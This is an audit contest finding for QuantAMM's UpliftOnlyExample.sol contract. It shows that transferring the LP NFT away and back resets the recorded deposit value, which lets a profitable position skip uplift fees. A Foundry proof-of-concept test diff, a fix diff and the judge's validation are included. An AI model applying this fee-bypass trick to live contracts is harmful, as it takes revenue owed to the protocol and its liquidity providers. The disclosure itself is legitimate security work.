QuantAMM

QuantAMM
49,600 OP
View results
Submission Details
Severity: high
Valid

Eliminate fees by transferring LPNFTs

Summary

Fees collected by UpliftOnlyExample.sol are meant to increase for profitable positions, but users can simply transfer the NFT to another account (and optionally back again) to reset the "deposit value" and avoid the fee entirely.

Vulnerability Details

When removing liquidity, fees scale with how profitable a position was:

localData.lpTokenDepositValueChange =
(int256(localData.lpTokenDepositValueNow) - int256(localData.lpTokenDepositValue)) /
int256(localData.lpTokenDepositValue);
...
feePerLP =
(uint256(localData.lpTokenDepositValueChange) * (uint256(feeDataArray[i].upliftFeeBps) * 1e18)) /
10000;
...

Source: UpliftOnlyExample.sol#L474-L483

The lpTokenDepositValue used here is set in addLiquidityProportional as expected, but then it can be reset with an NFT transfer via the afterUpdate callback function:

feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;

Source: UpliftOnlyExample.sol#L609

So when a transfer occurs, the fee owed will be reset to 0 (since lpTokenDepositValueChange == 0).

Impact

Profitable users are incentivized to always transfer just before removing liquidity in order to always skip the fee.

A contract could be introduced to simplify the user experience. It can transfer the NFT, remove liquidity, and then forward the assets back to the user in a single transaction. However it's easiest to just transfer it between accounts you control as shown in the POC below.

POC

We updated the test testRemoveLiquidityNoPriceChange to include a price change, which should break many of the test's assertions. But then we also transfer the NFT to another account and then back first, reseting the price history. Now fees are calculated as if there was no price change.

diff --git a/pkg/pool-hooks/test/foundry/UpliftExample.t.sol b/pkg/pool-hooks/test/foundry/UpliftExample.t.sol
index d253722..50bf299 100644
--- a/pkg/pool-hooks/test/foundry/UpliftExample.t.sol
+++ b/pkg/pool-hooks/test/foundry/UpliftExample.t.sol
@@ -452,9 +452,25 @@ contract UpliftOnlyExampleTest is BaseVaultTest {
);
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].upliftFeeBps, 200, "fee");
- uint256 nftTokenId = 0;
+ uint256 nftTokenId = 1; // This was set incorrectly in the original test
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
+ // Adding this section from the `testRemoveLiquidityDoublePositivePriceChange` test below to simulate a 2x price change.
+ int256[] memory prices = new int256[]();
+ for (uint256 i = 0; i < tokens.length; ++i) {
+ prices[i] = int256(i) * 2e18;
+ }
+ updateWeightRunner.setMockPrices(pool, prices);
+
+ // But then we transfer the NFT to reset the deposit value
+ LPNFT lpNft = upliftOnlyRouter.lpNFT();
+ vm.prank(bob);
+ lpNft.transferFrom(bob, alice, nftTokenId);
+ vm.prank(alice);
+ lpNft.transferFrom(alice, bob, nftTokenId);
+
+ // And now the rest of the test continues as if there was no price change...
+
BaseVaultTest.Balances memory balancesBefore = getBalances(bob);
vm.startPrank(bob);
@@ -515,7 +531,8 @@ contract UpliftOnlyExampleTest is BaseVaultTest {
//assertEq(upliftOnlyRouter.bptAmount(nftTokenId), 0, "bptAmount mapping should be 0");
//assertEq(upliftOnlyRouter.startTime(nftTokenId), 0, "startTime mapping should be 0");
- assertEq(upliftOnlyRouter.nftPool(nftTokenId), address(0), "pool mapping should be 0");
+ // This is not implemented but n/a here
+ //assertEq(upliftOnlyRouter.nftPool(nftTokenId), address(0), "pool mapping should be 0");
assertEq(
BalancerPoolToken(pool).balanceOf(address(upliftOnlyRouter)),

Recommendation

Remove the section that resets value after a transfer. All existing tests pass after deleting these lines, and it resolves this issue:

diff --git a/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol b/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol
index fbf4f56..190c2ff 100644
--- a/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol
+++ b/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol
@@ -604,12 +604,6 @@ contract UpliftOnlyExample is MinimalRouter, BaseHooks, Ownable {
if (tokenIdIndexFound) {
if (_to != address(0)) {
- // Update the deposit value to the current value of the pool in base currency (e.g. USD) and the block index to the current block number
- //vault.transferLPTokens(_from, _to, feeDataArray[i].amount);
- feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
- feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
- feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
-
//actual transfer not a afterTokenTransfer caused by a burn
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);
Updates

Lead Judging Commences

n0kto Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_afterUpdate_bypass_fee_collection_updating_the_deposited_value

Likelihood: High, any transfer will trigger the bug. Impact: High, will update lpTokenDepositValue to the new current value without taking fees on profit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!